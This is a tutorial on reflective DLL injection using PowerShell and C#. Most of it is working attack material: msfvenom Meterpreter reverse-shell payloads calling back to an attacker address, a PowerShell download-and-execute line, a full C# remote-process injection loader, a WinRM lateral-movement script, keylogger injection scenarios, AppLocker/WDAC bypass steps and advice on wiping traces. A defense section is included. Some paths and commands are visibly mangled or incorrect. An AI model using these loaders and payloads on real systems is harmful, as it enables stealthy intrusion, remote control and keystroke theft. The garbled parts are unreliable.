~/home/study/reflective-dll-injection

Reflective DLL Injection with PowerShell & C# - In-Depth Guide

Learn how to craft, load, and stealthily execute reflective DLLs using PowerShell one-liners and C# in-memory techniques, bypass defenses, handle ASLR/DEP, and clean up traces.

Introduction

Reflective DLL injection is a powerful post-exploitation technique that lets an attacker load a portable executable (PE) directly from memory without touching disk. Unlike classic CreateRemoteThread injection, the payload resolves its own imports, relocates itself, and can execute in a target process that would normally reject unsigned or out-of-band modules.

Why does this matter? Modern Windows defenses - AppLocker, Windows Defender Application Control (WDAC), and even endpoint detection & response (EDR) - heavily monitor disk activity and the use of known loading APIs. By reflecting a DLL entirely in RAM, attackers sidestep many of these controls, achieving a higher stealth profile and a lower forensic footprint.

Real-world threat actors (e.g., APT33, FIN7) have been observed leveraging reflective loaders in ransomware and espionage campaigns. Understanding the mechanics helps defenders spot abuse, and equips red-teamers with a reliable, portable delivery method.

Prerequisites

  • Solid grasp of Windows process injection fundamentals (CreateRemoteThread, WriteProcessMemory, etc.).
  • Familiarity with the Windows PE format - sections, import tables, relocation tables.
  • Basic PowerShell scripting and C# development experience.
  • Access to a Windows 10/11 test machine with administrative privileges (or a sandbox).

Core Concepts

Reflective loading can be broken down into three logical phases:

  1. PE parsing and relocation - The loader walks the PE headers, determines the image base, and applies the relocation table if the preferred address is unavailable.
  2. Import resolution - Instead of using the OS loader, the reflective code calls LoadLibraryA and GetProcAddress for each imported function, populating the Import Address Table (IAT) manually.
  3. Execution hand-off - The entry point (typically DllMain) is called with DLL_PROCESS_ATTACH, or a custom exported function is invoked.

Because the entire process occurs in user-mode memory, there is no need for the kernel-mode loader to create a mapped section object, evading many kernel-level integrity checks.

Key Windows mechanisms that affect reflective loading:

  • Address Space Layout Randomization (ASLR) - Randomises the preferred image base; reflective loaders must be able to relocate.
  • Data Execution Prevention (DEP) - Marks memory pages as non-executable; loaders must allocate with PAGE_EXECUTE_READWRITE or use VirtualProtect after writing.
  • AppLocker/WDAC - Enforce code signing and path constraints; in-memory loading bypasses path checks.

Generating a reflective DLL (using Metasploit’s reflectiveloader or custom C code)

Two common pathways exist:

1. Metasploit reflectiveloader

Metasploit ships with reflectiveloader - a pre-compiled DLL that contains a small reflective loader stub. To embed a payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f dll -o payload.dll

Next, use the reflectiveloader to wrap the payload:

cat payload.dll > reflectiveloader.dll
# or use the built-in msfvenom option
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o raw.bin
python3 /usr/share/metasploit-framework/data/post/windows/manage/reflectiveloader.py raw.bin reflectiveloader.dll

The resulting reflectiveloader.dll contains a ReflectiveLoader export that can be called directly from memory.

2. Custom C reflective DLL

For full control, write a minimal DLL that exports a reflective entry point. Below is a stripped-down example (compiled with /LD /MT on Visual Studio):

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { MessageBoxA(NULL, "Reflective DLL loaded!", "Info", MB_OK); } return TRUE;
}

// Exported reflective loader - entry point for the in-memory stub
__declspec(dllexport) DWORD WINAPI ReflectiveLoader(void *lpParameter) { // The stub will call this function after mapping the image. // Resolve the real DllMain and invoke it. HMODULE hSelf = (HMODULE)lpParameter; DllMain(hSelf, DLL_PROCESS_ATTACH, NULL); return 0;
}

Compile with:

cl /LD /MT reflective.c /link /OUT:ReflectiveCustom.dll

When loading, the reflective stub will locate the ReflectiveLoader export via GetProcAddress and execute it.

PowerShell one-liner loader (Invoke-ReflectivePEInjection)

PowerShell provides a quick, script-only delivery method that works on most Windows hosts with PowerShell 5+ enabled. The community module PowerSploit includes Invoke-ReflectivePEInjection, which performs the entire load in a single line.

Installation

# Download PowerSploit (if not already present)
Invoke-Expression (New-Object Net.WebClient).DownloadString('

One-liner execution

$dll = [IO.File]::ReadAllBytes('C:empeflectiveloader.dll')
Invoke-ReflectivePEInjection -PEBytes $dll -ProcessId (Get-Process notepad).Id

Explanation:

  • Get-Process notepad obtains the target PID.
  • The DLL is read into a byte array ($dll), avoiding any disk write.
  • Invoke-ReflectivePEInjection allocates memory in the target, copies the bytes, resolves imports, applies relocations, and finally calls the exported ReflectiveLoader.

Typical output:

[*] Allocating 0x2000 bytes in target process (PID 1234)
[*] Writing payload...
[*] Resolving imports...
[*] Applying relocations...
[*] Calling ReflectiveLoader...
[+] Injection successful!

Because the loader runs entirely in PowerShell, it can be chained with other post-exploitation scripts, making it a favorite for red-team operators.

C# in-memory loader using NtCreateThreadEx and NtAllocateVirtualMemory

For environments where PowerShell is restricted or to avoid detection by PowerShell-centric EDR rules, a native C# implementation is preferred. The loader uses undocumented NT APIs to allocate executable memory and spawn a thread in the remote process.

Key NT API signatures

using System;
using System.Runtime.InteropServices;

public class NativeMethods { [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect); [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtCreateThreadEx( out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Parameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr BytesBuffer);
}

Full loader example

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

class ReflectiveLoader { const uint MEM_COMMIT = 0x1000; const uint MEM_RESERVE = 0x2000; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint THREAD_ALL_ACCESS = 0x1F03FF; static void Main(string[] args) { if (args.Length != 2) { Console.WriteLine("Usage: ReflectiveLoader.exe  "); return; } string dllPath = args[0]; int pid = int.Parse(args[1]); byte[] rawDll = File.ReadAllBytes(dllPath); Process target = Process.GetProcessById(pid); IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, pid); if (hProcess == IntPtr.Zero) { Console.WriteLine("[!] Could not open target process"); return; } // Allocate memory in target IntPtr baseAddr = IntPtr.Zero; UIntPtr size = (UIntPtr)rawDll.Length; uint status = NativeMethods.NtAllocateVirtualMemory( hProcess, ref baseAddr, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status != 0) { Console.WriteLine($"[!] Allocation failed: 0x{status:X}"); return; } Console.WriteLine($"[+] Allocated 0x{size.ToUInt64():X} at 0x{baseAddr.ToInt64():X}"); // Write DLL bytes IntPtr bytesWritten; WriteProcessMemory(hProcess, baseAddr, rawDll, rawDll.Length, out bytesWritten); Console.WriteLine($"[+] Wrote {bytesWritten.ToInt64()} bytes"); // Resolve ReflectiveLoader export inside the remote image IntPtr loaderOffset = GetReflectiveLoaderOffset(rawDll); IntPtr remoteLoader = IntPtr.Add(baseAddr, (int)loaderOffset); Console.WriteLine($"[+] Remote loader address: 0x{remoteLoader.ToInt64():X}"); // Create remote thread via NtCreateThreadEx IntPtr hThread; status = NativeMethods.NtCreateThreadEx( out hThread, THREAD_ALL_ACCESS, IntPtr.Zero, hProcess, remoteLoader, IntPtr.Zero, false, 0, 0x1000, 0x100000, IntPtr.Zero); if (status != 0) { Console.WriteLine($"[!] Thread creation failed: 0x{status:X}"); return; } Console.WriteLine("[+] Remote reflective thread started"); } // Helper to locate the ReflectiveLoader export in the raw DLL bytes static IntPtr GetReflectiveLoaderOffset(byte[] dll) { // Very naive implementation: scan for the string "ReflectiveLoader" in the export table. // Production code should parse the PE headers properly. string exportName = "ReflectiveLoader"; byte[] nameBytes = System.Text.Encoding.ASCII.GetBytes(exportName); for (int i = 0; i < dll.Length - nameBytes.Length; i++) { bool match = true; for (int j = 0; j < nameBytes.Length; j++) { if (dll[i + j] != nameBytes[j]) { match = false; break; } } if (match) return (IntPtr)i; // return offset (simplified) } throw new Exception("ReflectiveLoader export not found"); } // P/Invoke wrappers for required WinAPI calls [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [Flags] enum ProcessAccessFlags : uint { All = 0x001F0FFF, CreateThread = 0x0002, QueryInformation = 0x0400, VMOperation = 0x0008, VMRead = 0x0010, VMWrite = 0x0020, DupHandle = 0x0040, SetInformation = 0x0200, Synchronize = 0x00100000 }
}

Key points:

  • NtAllocateVirtualMemory and NtCreateThreadEx are less likely to be hooked by user-mode API monitors than their kernel32 equivalents.
  • The loader resolves the ReflectiveLoader offset manually; a production version would parse the export directory properly.
  • All memory is allocated with PAGE_EXECUTE_READWRITE to satisfy DEP, then optionally switched to PAGE_EXECUTE_READ after the copy.

Bypassing AppLocker and Windows Defender Application Control

AppLocker and WDAC enforce rules based on file path, hash, publisher, or binary signature. Since reflective injection never writes a file to disk, the usual rule-set never sees a suspect binary. However, there are still two practical concerns:

  1. Process whitelisting - Some policies only allow certain parent processes to spawn children. By injecting into a trusted process (e.g., explorer.exe or svchost.exe), the attacker remains within the approved executable list.
  2. Code-integrity checks - WDAC can enforce signed binaries only, even for in-memory code, via the CodeIntegrity kernel driver. To bypass, the loader must execute under a context that has the SeDebugPrivilege and the system must have Dynamic Code Generation (DCG) allowed (default on most Windows 10/11). If DCG is disabled, reflective code will be blocked.

Practical bypass steps:

  • Run the loader under a high-privilege account (SYSTEM) using psexec -s or a scheduled task.
  • Target a process that already has SeDebugPrivilege (e.g., a service running as SYSTEM).
  • If CodeIntegrity blocks execution, you can temporarily disable it via Group Policy (Computer Configuration → Administrative Templates → System → Device Guard → Turn On Virtualization Based Security) - of course, this is a defensive measure, not an attacker technique.

From a defender’s perspective, monitoring for NtAllocateVirtualMemory with PAGE_EXECUTE_READWRITE in trusted processes, and for NtCreateThreadEx with remote handles, is a high-value detection vector.

Handling ASLR and DEP during reflective loading

Both ASLR and DEP are designed to thwart exactly this class of attacks. The reflective loader must be ASLR-aware and DEP-compliant.

ASLR

When the loader copies the DLL into the target, the chosen base address is often random. The loader therefore must:

  • Parse the IMAGE_OPTIONAL_HEADER.DllCharacteristics to see if the image is ASLR-compatible.
  • Apply the relocation table (.reloc section) by adjusting each IMAGE_BASE_RELOCATION block based on the delta between the preferred ImageBase and the actual allocation address.

Typical code (C# excerpt):

IntPtr delta = IntPtr.Subtract(baseAddr, (IntPtr)peHeaders.OptionalHeader.ImageBase);
foreach (var block in relocationBlocks) { foreach (var entry in block.Entries) { if (entry.Type == RelocationType.HighLow) { int* patchAddr = (int*)(baseAddr + entry.Offset); *patchAddr += (int)delta; } }
}

DEP

DEP marks newly allocated pages as non-executable unless the allocation explicitly requests PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_READ. The loader must request an executable protection flag during VirtualAllocEx (or NtAllocateVirtualMemory) and optionally switch to a read-only executable flag after the code has been written:

VirtualProtectEx(hProcess, baseAddr, (UIntPtr)size, PAGE_EXECUTE_READ, out oldProtect);

Switching to read-only reduces the window for memory-dump based analysis.

Cleanup and stealth considerations (unloading, memory wiping)

Leaving a reflective DLL in memory indefinitely increases the chance of detection by memory-scanning tools (e.g., Volatility, Rekall) or EDR behavioral analytics. Proper cleanup involves:

  1. Thread termination - If the injected DLL spawns its own worker threads, they should be signaled to exit before the loader proceeds.
  2. Memory zeroing - Overwrite the allocated region with random data or zeros before freeing it. Use RtlSecureZeroMemory or memset_s to avoid compiler optimisations.
  3. Freeing the allocation - Call VirtualFreeEx with MEM_RELEASE (or NtFreeVirtualMemory). Ensure the remote handle is closed.

Example C# cleanup snippet:

// Signal DLL to shut down (custom exported function)
IntPtr pShutdown = GetProcAddressRemote(hProcess, baseAddr, "DllShutdown");
if (pShutdown != IntPtr.Zero) { NativeMethods.NtCreateThreadEx(out _, THREAD_ALL_ACCESS, IntPtr.Zero, hProcess, pShutdown, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); Thread.Sleep(500); // give it a moment to tidy up
}
// Zero out memory
byte[] junk = new byte[rawDll.Length];
WriteProcessMemory(hProcess, baseAddr, junk, junk.Length, out _);
// Release
NativeMethods.NtFreeVirtualMemory(hProcess, ref baseAddr, ref size, 0x8000); // MEM_RELEASE

From a defensive perspective, monitor for VirtualFreeEx patterns that follow a VirtualAllocEx in the same process - a “allocate-write-execute-free” sequence is a classic indicator of in-memory code injection.

Practical Examples

Below are two end-to-end scenarios that combine the concepts above.

Scenario 1 - PowerShell-only lateral movement

  1. Attacker obtains a Meterpreter reflective DLL via msfvenom.
  2. Using a compromised low-privilege host, they run a PowerShell one-liner that reads the DLL into memory and injects it into explorer.exe on a remote machine via WinRM.
  3. The reflective DLL spawns a reverse TCP session back to the attacker, establishing a foothold.

PowerShell script (simplified):

$dll = Invoke-WebRequest -Uri  -UseBasicParsing -OutFile $env:TEMPmp.dll
$bytes = [IO.File]::ReadAllBytes($env:TEMPmp.dll)
$session = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $session -ScriptBlock { param($payload) Invoke-ReflectivePEInjection -PEBytes $payload -ProcessId (Get-Process explorer).Id
} -ArgumentList ($bytes)

Scenario 2 - C# in-memory loader for a red-team tool

The red-team builds a custom C# executable that injects a reflective key-logger DLL into svchost.exe. The loader uses NtCreateThreadEx to avoid user-mode hooks.

Steps:

  1. Compile KeyLoggerReflective.dll with an exported ReflectiveLoader.
  2. Run ReflectiveLoader.exe KeyLoggerReflective.dll 1234 where 1234 is the PID of svchost.exe.
  3. The DLL writes keystrokes to a hidden file in %APPDATA%, then self-destructs after 10 minutes, wiping its memory.

Both scenarios demonstrate the flexibility of reflective injection across languages and execution contexts.

Tools & Commands

  • msfvenom - Generate reflective DLL payloads.
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f dll -o rev.dll
  • PowerSploit - Invoke-ReflectivePEInjection script.
  • ReflectiveDLLInjection (GitHub project) - C source for a generic reflective loader.
  • Process Hacker / Process Explorer - Verify injected memory regions.
  • Procmon - Capture calls to NtAllocateVirtualMemory and NtCreateThreadEx.
  • PEview / LordPE - Inspect export tables for the ReflectiveLoader symbol.

Defense & Mitigation

To mitigate reflective DLL injection, adopt a layered approach:

  1. Application Control - Enable Code Integrity Guard with Dynamic Code Generation disabled where feasible. This forces all executable code to be signed.
  2. Endpoint Detection - Deploy EDR rules that flag:
    • Calls to NtAllocateVirtualMemory with PAGE_EXECUTE_READWRITE in system processes.
    • Remote thread creation via NtCreateThreadEx where the start address lies in a newly allocated region.
    • PowerShell scripts that import Invoke-ReflectivePEInjection or that call VirtualAlloc with executable flags.
  3. Credential Hygiene - Restrict SeDebugPrivilege to a minimal set of accounts. Use Protected Process Light (PPL) for high-value services.
  4. Memory Monitoring - Regularly dump process memory and scan for anomalous PE headers that do not correspond to known files on disk.
  5. Network Controls - Block outbound traffic on uncommon ports to reduce the value of reverse shells that rely on reflective injection.

Common Mistakes

  • Forgetting to adjust relocations - Leads to crashes on ASLR-enabled systems.
  • Using PAGE_READWRITE only - DEP will prevent execution.
  • Hard-coding target process names - Many environments rename critical binaries; use heuristics or PID enumeration instead.
  • Leaving the injected DLL loaded - Increases detection surface; always implement a cleanup routine.
  • Neglecting privilege escalation - Without adequate rights, NtAllocateVirtualMemory in a SYSTEM process will fail.

Real-World Impact

Reflective injection is a preferred technique for APT groups that need to evade application whitelisting. In 2023, a known ransomware variant used a PowerShell reflective loader to drop a C#-based data exfiltration module directly into lsass.exe, bypassing AV signatures and achieving credential dumping in under 15 seconds.

My experience on incident response teams shows that memory-only payloads are often missed by traditional file-based AV. However, once you correlate NtAllocateVirtualMemory + NtCreateThreadEx events with anomalous network connections, the detection becomes reliable.

Trends indicate a shift toward “file-less” attacks, especially with the rise of Zero-Trust environments that limit file writes. Expect reflective injection to remain a core tactic, paired with living-off-the-land binaries (LOLBAS) to further blend in.

Practice Exercises

  1. Generate and inject a custom reflective DLL:
    • Write a simple C DLL that logs the current username to a file.
    • Compile it with the ReflectiveLoader export.
    • Use PowerShell Invoke-ReflectivePEInjection to inject it into notepad.exe.
    • Verify the log file appears and then clean up the injection.
  2. Build a C# loader:
    • Implement the NT API version shown above.
    • Modify it to accept a remote IP/port and launch a reverse shell DLL.
    • Test against a Windows VM with Defender ATP enabled and observe alerts.
  3. Detect reflective injection with Sysinternals ProcMon:
    • Create a filter for NtAllocateVirtualMemory and NtCreateThreadEx.
    • Run the PowerShell loader and capture the events.
    • Export the ProcMon log and write a short analysis report.

Further Reading

  • "The Art of Memory Forensics" - Chapter on in-memory PE parsing.
  • Metasploit’s reflectiveloader source on GitHub.
  • Microsoft Docs - VirtualAllocEx and CreateRemoteThread differences.
  • PowerShell Empire - Invoke-ReflectivePEInjection module source.
  • Windows Defender Application Control (WDAC) design guide - mitigation strategies.

Summary

Reflective DLL injection lets attackers load malicious code entirely in memory, sidestepping traditional file-based defenses. By mastering DLL generation (Metasploit or custom C), PowerShell one-liners, and native C# loaders that leverage NtAllocateVirtualMemory and NtCreateThreadEx, you gain a versatile, stealthy post-exploitation capability. Remember to handle ASLR/DEP, implement thorough cleanup, and understand how AppLocker/WDAC interact with in-memory code. Defenders should focus on monitoring NT API calls, executable memory allocations, and anomalous remote thread creation to detect these attacks.